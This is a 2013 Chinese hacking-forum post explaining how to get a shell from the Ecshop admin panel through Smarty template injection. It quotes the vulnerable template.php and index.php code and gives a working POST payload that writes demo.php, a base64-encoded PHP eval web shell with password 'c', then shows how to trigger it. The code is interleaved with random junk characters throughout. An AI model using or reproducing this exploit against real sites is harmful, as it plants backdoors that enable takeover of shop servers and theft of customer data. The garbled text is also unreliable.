中国网络渗透测试联盟
标题:
Ecshop后台getshell
[打印本页]
作者:
admin
时间:
2013-1-11 21:33
标题:
Ecshop后台getshell
首先 ecshop用的是smarty 这样就可以通过它的fetch函数来执行模板
8 x8 A, U6 W3 n
) z: e# r6 v; B0 c9 x' w
而模板里面可以执行他定义的php代码,这样只要可以写出模板 然后找到调用就可以拿到shell了
4 r4 N3 N8 d1 N" o
但是ecshop似乎不支持{php}{/php}这个标签来执行php代码
! t `! O- v4 L0 Z
admin/template.php
2 F9 V1 b" I6 K: b4 r8 L% c
9 Z! l6 p: S4 U+ _% ]
1 if ($_REQUEST['act'] == 'update_library')
3 w1 x* X X* h A) }
4 \% k7 Z& Q( T5 g: t+ B. l" ^- |$ t& H
2
' ]8 [3 }2 m' S; ~$ [
# G) i. Y% \" r, s& g; u, G3 |
3 {
8 J5 x! P$ k" t `* m
; d' L' w8 @& r- \; d
4 check_authz_json('library_manage');
$ l* v! G+ v- x6 D& G# h& C
. `) s# _0 a7 X/ w+ `9 t
5
/ p* V: Y* i H, `8 |) d
! {: H9 p# |* N' f* w
6 $html = stripslashes(json_str_iconv($_POST['html']));
g2 T9 N x. K7 w6 E9 S4 W* O. |6 h
; O! i' |# b$ }6 J
7
, p+ } h( e [ D' L
* j: A* c5 C) X
8 $lib_file = '../themes/' . $_CFG['template'] . '/library/' .$_POST['lib'] . '.lbi'; //模板文件
" C, G4 Z' }; y; U% O
' @7 m% Q1 x" \- S, a/ Y$ g, j
9
' x* y7 x" v3 v! y& G4 j
# p& U8 j- _, B0 m; {
10 $lib_file = str_replace("0xa", '', $lib_file); // 过滤 0xa 非法字符
# @, l/ t/ `1 l7 q! k1 h
" k# f6 I" S2 {$ j$ I- E; e* z
11
# z! Y, }& F$ o
1 I9 w* c& _: o
12 $org_html = str_replace("\xEF\xBB\xBF", '',file_get_contents($lib_file));
7 y, B1 l6 j9 r* _$ b7 E
" R. l: s; o8 G+ `, [1 W
13
0 K/ S$ @3 L$ C+ ^
" p% i4 n: D$ T; e( K$ ]; V \$ {
14 if (@file_exists($lib_file) === true && @file_put_contents($lib_file,$html))//写出
$ I8 }+ B" K6 \* K( H8 @9 \4 r
8 n, t! C3 ?" ]# S$ u5 V7 l
15 {
( T+ ? s$ Q* R( h D1 t5 O
9 d( w' S( J: V' Z x
16 @file_put_contents('../temp/backup/library/' . $_CFG['template'] .'-' . $_POST['lib'] . '.lbi', $org_html);
# C5 i, B) b0 v/ K5 Q* L# J
4 ?9 M Z6 ^% P7 b( ]" W
17 make_json_result('', $_LANG['update_lib_success']);
' t" r/ M% c' d0 G+ ^9 V! y+ s
9 b/ p8 ] w1 W8 V! f' G
18 }
/ i: M2 p g0 K, n" {, s3 x( c
: s/ ^) f$ F) q* H
19 else
+ g* ?$ }) A) [" \$ {: W
" h3 Y( n: L( ?8 X" d4 j
20 {
4 t" H: c& R5 E4 K' X/ Y
+ t3 m. y2 C% D' W3 B
21 make_json_error(sprintf($_LANG['update_lib_failed'], 'themes/' .$_CFG['template'] . '/library'));
0 g1 b8 p+ W$ j+ S2 v: S4 u' H6 B5 v' k
2 i- b) ?$ q0 a e0 `
22 }
; H- k8 W/ Q+ }: p% f
" g2 N$ v4 k9 x3 y7 T% a, s% W
23 }
" X% `( f- E o F5 N& ~- Z* f
2 S* N F( M4 T* q4 X6 i+ Z
那么找个比较方便调用了模板的文件
: M3 ^' ?0 H3 U7 {+ a2 H; i) `7 j9 X
index.php
1 i* m+ ^, ]5 N% `6 L6 z
. N7 T3 F/ X6 c. T% b$ I4 O
1 if ($act == 'cat_rec')
8 k3 c, N" i' y
7 B4 P: d. W3 H9 E) Q+ i
2
+ s) N% z; O. C. Y9 R
' ~# T+ N- P# v: [6 k
3 {
2 {, A+ y2 ]; t) V# T
' U. A2 ~: u; R! D9 |3 N1 m
4
$ S# \) L# Q+ K/ K: C" ~9 M4 s
: w+ p+ U9 k5 V% D) s9 w
5 $rec_array = array(1 => 'best', 2 => 'new', 3 => 'hot');
4 v6 Y f. o$ h& v! d
8 n1 P$ ^2 w; i" J
6
, Z+ d/ s% G R! O
7 J2 Z# _1 e4 K2 p# B7 N6 T: [% {
7 $rec_type = !empty($_REQUEST['rec_type']) ?intval($_REQUEST['rec_type']) : '1';
+ O$ c+ S( B w$ ]3 S
* H; W8 ?$ @/ f4 K! l% C: m; p) G
8
" t3 t7 ^* l: Y) a$ i
/ S% J5 x! N4 _2 y$ P
9 $cat_id = !empty($_REQUEST['cid']) ? intval($_REQUEST['cid']) : '0';
. O, P! H2 J2 F
- j+ l7 b1 S$ @# q6 G9 ]
10
0 m5 _9 o5 x4 I) B3 I
6 e+ s: @. D1 S2 Z
11 include_once('includes/cls_json.php');
- e0 m) x( o2 e
# O6 d# t( {% Q+ Z& ^, s
12
% @" u7 ~( L6 o, m
3 [9 r! U. F& Q& z- v- o' C* E
13 $json = new JSON;
8 h4 { I7 ^' U9 x! p' l( w
% u1 [6 `5 H- Q; D# V2 K
14
% k# V; K/ L( X8 f, y0 P
5 e& F3 ^5 ^1 A, J& P8 S k ?
15 $result = array('error' => 0, 'content' => '', 'type' => $rec_type,'cat_id' => $cat_id);
1 h8 L7 `0 K8 T$ s5 G
1 y! m% m |: b+ z s
16
' m, e& b5 I! A, c7 R( f
2 D: Y3 c% M# I
17 $children = get_children($cat_id);
a* U% s5 |- I5 m) l0 u6 T8 g" t
3 T( l' Y# X, R6 S# j" D
18
0 l6 i2 V2 X3 R! V* g9 T/ |1 s2 \- z- l
^2 i! i7 ^' ^0 o- s1 j6 [, Q) A
19 $smarty->assign($rec_array[$rec_type] . '_goods', get_category_recommend_goods($rec_array[$rec_type], $children)); // 推荐商品
% E- p) k4 h8 _+ d; j; @2 u
" i Y+ t% C, y5 k
20
# |4 V6 N/ n1 Z# d2 N; p( N0 v% T
* _) F7 |- J2 a
21 $smarty->assign('cat_rec_sign', 1);
/ M3 p4 i8 ?( d6 X
% ~1 ?5 K5 i( X
22
& u' N" Z2 \ A( h+ v- h* w
6 v8 S5 \9 D! {! W9 s7 l
23 $result['content'] = $smarty->fetch('library/recommend_' .$rec_array[$rec_type] . '.lbi');//使用了模板文件 该模板文件为recommend_best
, V* e* w7 O# y* I
7 n$ \4 F f X6 K+ l
24
) F/ D- |6 h& G
3 q1 P4 ]1 W3 N; [" V% ~! V! ~
25 echo 'library/recommend_' . $rec_array[$rec_type] . '.lbi';
# q6 d( K/ r8 m- U! a% r7 P0 N* A1 d
$ e' D' k# r- \9 e, {( x2 D
26
, x- A, }) i0 }1 ^ k
: L n8 w" Q8 @2 `$ J) s' s
27 echo $rec_array[$rec_type];
: W y z# e6 k% T H
7 v* S" T9 l; R: N7 i- h
28
( u4 X. `& K* c" T. h
( V+ o; m- j6 j- ?" O
29 die($json->encode($result));
2 C! _7 D) s7 F6 D4 p
8 @" ]" r* f1 W# Y4 Y$ y9 V) j
30
& r4 D2 D/ S- S! b# F, R
/ V$ S) A) S* E6 H( R q, o, E+ }
31 }
: o# W+ j$ L: l
W1 w6 p2 H4 W" J. S3 w
那么就有利用方法了
" S; g+ c. L5 b9 n4 p+ [% h
post包到http://localhost/ec/admin/template.php?act=update_library
" r2 S+ y; V3 H, I# O! ]" c
Post内容:
" u; L. I! b: {3 X9 r3 ]
3 u# k' y4 c3 h/ q3 H/ Z
3 K5 Y( k5 v$ e
1 lib=recommend_best&html={iffputs(fopen(base64_decode(ZGVtby5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}16086{/if}
% @' P. H, m8 Y! \" x$ V. l5 X! y
7 p; ], p2 t; g& H: ?
然后访问http://localhost/ec/index.php?act=cat_rec
9 |7 k0 R M( m4 u
8 N4 E' d+ H/ m7 N h
shel地址:http://localhost/ec/demo.php
2 M F: w, m, y& M% m
密码c
! u1 \3 Z6 d2 [6 f, t
# D9 ~- b; |( J+ C y' n
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2